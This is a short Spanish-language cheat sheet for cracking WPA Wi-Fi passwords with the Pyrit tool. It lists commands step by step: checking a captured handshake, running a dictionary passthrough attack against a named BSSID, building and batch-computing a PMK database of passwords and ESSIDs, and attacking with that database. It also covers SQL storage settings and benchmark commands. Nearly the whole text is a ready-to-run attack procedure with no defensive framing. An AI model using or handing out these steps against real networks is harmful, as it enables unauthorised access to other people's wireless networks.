Crack WPA con Pytit

- Comprimimos el DUMP de la captura
# gzip wpapsk-linksys.dump

- Analizamos la captura para ver si existe el handshake
# pyrit -r wpapsk-linksys.dump.gz analyze

- Ataque de passthrough, indicandole un diccionario
# pyrit -r wpapsk-linksys.dump.gz -i dict.gz -b 00:0b:86:c2:a4:85 attack_passthrough


- Ataque utilizando una base de datos de pyrit
- Verificamos el estado de la base de datos
# pyrit eval

- Importamos las contraseñas
# pyrit -i <DICCIONARIO>.gz import_passwords

- Importamos los ESSIDs
# pyrit -e <ESSID> create_essid

- En este punto la base de datos tiene la informacion necesaria para poder iniciar el proceso batch,
  el cual tomara todas las combinaciones ESSID:PASSWORD y computara y almacenara las correspondientes
  PMKs (Pairwise master Keys) para utilizarlas posteriormente.
# pyrit batch

Nota: Se puede para el proceso de generacion en cualquier momento (con ctrl+c). Pyrit iniciara nuevamente
      en el punto en que se cancelo la proxima vez que se inicie el proceso batch

- Utilizacion de la base de datos
# pyrit -r wpapsk-linksys.dump.gz attack_db


- Se puede utilizar una base de datos SQL
# pyrit -u sqlite:///mydb.db -i dict.gz import_passwords
# pyrit -u postgres://pyrit:@192.168.0.7/pyrit -e linksys create_essid
# vi ~/.pyrit/config
default_storage = file://
default_storage = mysql://root:yourpasswd@localhost/mydb

- Otros comandos utiles
# pyrit eval
# pyrit list_cores
# pyrit benchmark